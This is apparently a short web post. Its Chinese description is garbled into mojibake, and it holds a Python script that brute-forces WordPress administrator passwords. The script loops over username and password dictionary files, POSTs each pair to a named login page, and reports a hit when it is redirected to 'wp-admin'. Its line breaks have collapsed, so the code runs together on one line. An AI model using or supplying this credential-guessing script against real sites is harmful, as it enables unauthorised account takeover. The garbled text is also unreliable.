|
|
|
l鍒╃敤python鍋氫竴涓鐮磋В WordPress 绠$悊鍛樿处鎴风殑瀵嗙爜鐨勮剼鏈紝浠g爜浣跨敤浜嗕竴涓惊鐜紝灏嗗瓧鍏镐腑鐨勬瘡涓敤鎴峰悕鍜屽瘑鐮佺粍鍚堜綔涓篜OST璇锋眰鍙傛暟鍙戦佸埌鎸囧畾鐨勭櫥褰曢〉闈傚鏋滈〉闈㈣烦杞埌浜唚p-admin鍚庡彴椤甸潰锛岄偅涔堣鏄庤缁勫悎鏄湁鏁堢殑锛屽嵆璇ョ敤鎴峰悕鍜屽瘑鐮佹槸姝g‘鐨- import urllib3import urllib.parsehttp = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})url = "http://www.ikunct1.top/admin/login.php"users = [] # 鍒濆鍖栧瓨鍌ㄧ敤鎴峰悕鐨勫垪琛passwords = [] # 鍒濆鍖栧瓨鍌ㄥ瘑鐮佺殑鍒楄〃# 浠庢枃浠朵腑璇诲彇鎵鏈夌敤鎴峰悕鍜屽瘑鐮with open('鐢ㄦ埛瀛楀吀', 'r') as userlist: users = userlist.readlines()with open('瀵嗙爜瀛楀吀', 'r') as passwordlist: passwords = passwordlist.readlines()# 寰幆澶勭悊鐢ㄦ埛鍚嶅拰瀵嗙爜缁勫悎for user in users: user = user.strip() for password in passwords: password = password.strip() values = {'log': user, 'pwd': password} # 杈撳嚭姝e湪灏濊瘯鐨勭敤鎴峰悕鍜屽瘑鐮佺粍鍚 print(f"Trying user={user}, password={password}") encoded_values = urllib.parse.urlencode(values).encode('utf-8') response = http.request('POST', url, body=encoded_values) try: idx = response.geturl().index('wp-admin') except ValueError: idx = -1 # 杈撳嚭鏄惁鎵惧埌姝g‘鐨勭敤鎴峰悕鍜屽瘑鐮 if (idx >= 0): print(f"Found username: {user}, password: {password}") break else: print(f"Failed username: {user}, password: {password}") if (idx >= 0): break
复制代码 |
|